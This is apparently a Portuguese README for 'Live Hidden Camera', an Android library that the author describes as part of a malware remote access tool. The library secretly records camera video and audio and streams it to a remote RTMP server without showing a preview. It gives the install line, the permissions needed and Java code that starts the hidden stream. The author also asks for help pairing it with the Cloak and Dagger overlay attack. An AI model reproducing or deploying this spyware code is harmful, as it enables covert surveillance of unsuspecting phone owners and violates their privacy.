
Live Hidden Camera é uma biblioteca que grava vídeo e áudio ao vivo de um dispositivo Android sem exibir uma pré-visualização.
Câmera Oculta ao Vivo (LHC) é uma biblioteca que grava vídeo e áudio ao vivo de um dispositivo Android sem exibir uma prévia.

Estou trabalhando em um malware Android baseado em pesquisa e decidi criar uma RAT (Ferramenta de Administração Remota) multifuncional. Eu estava trabalhando em streams ao vivo e encontrei alguns projetos de código aberto baseados em RTMP, incluindo:
SurfaceView.Portanto, comecei a pesquisar. Finalmente, consegui criar a Câmera Oculta ao Vivo, que precisa apenas de um CONTEXT para transmitir vídeo ao vivo, combinando esses dois projetos:
Criei uma biblioteca para torná-la mais utilizável. O único requisito é adicionar a biblioteca ao seu projeto e passar a URL RTMP para ela.
Além disso, você deve se preocupar com:
Manifest.xml:<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
O uso da biblioteca é direto. Basta adicionar a seguinte biblioteca ao arquivo gradle.build do seu projeto.
compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'
Manifest.Antes de usar a biblioteca, você deve ter implantado um servidor RTMP. Usei o Ant Media Server. Há um guia excelente sobre a instalação do Ant Media Server neste LINK.
Após iniciar o servidor RTMP Ant Media, você deve ver algo assim:

Após adicionar a biblioteca ao seu projeto, siga os seguintes passos:
Crie uma classe que implemente: RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener
Crie dois campos (um para publicar e um para prévia):
private SrsPublisher mPublisher;
private SrsCameraView mCameraView;
Implemente uma função para iniciar a Câmera Oculta ao Vivo:
private void initHiddenCam(String rtmpURL) {
HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {
@Override
public void onPermissionNotGrantedException(Exception ex) {
Log.d("HCL", "Peça ao usuário para conceder permissão.");
Log.e("HCL", ex.getMessage());
}
});
//iniciar config
CameraConfig cameraConfig = new CameraConfig()
.getBuilder(MainActivity.this.getApplicationContext())
.setCameraFacing(CameraFacing.REAR_FACING_CAMERA)
.build();
mCameraView = l.initHiddenLayout(cameraConfig);
mPublisher = new SrsPublisher(mCameraView);
mPublisher.setEncodeHandler(new SrsEncodeHandler(this));
mPublisher.setRtmpHandler(new RtmpHandler(this));
mPublisher.setRecordHandler(new SrsRecordHandler(this));
mPublisher.setPreviewResolution(640, 360);
mPublisher.setOutputResolution(640, 360);
mPublisher.setVideoHDMode();
mPublisher.startPublish(rtmpURL);
mPublisher.startCamera();
}
O principal problema que estou enfrentando atualmente é a tela verde. Descrevi o erro no StackOverflow em https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video
Se você tiver alguma sugestão sobre esse problema, ou qualquer outra ideia, não hesite em me contatar.
Devido à sobreposição da Câmera Oculta ao Vivo, nenhum outro aplicativo pode ser clicado. Os cliques são aceitos apenas pelo LHC. Consulte a seção TODO.
Há um projeto chamado Cloak and Dagger que revelou uma capacidade muito perigosa no Android. Qualquer contribuição no uso do Cloak and Dagger no LHC é bem-vinda.
Confira o Cloak and Dagger aqui:
Você pode doar para este projeto usando meu endereço BitCoin em:
BitCoin:
1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS
Você pode me encontrar no meu site: https://mstajbakhsh.ir/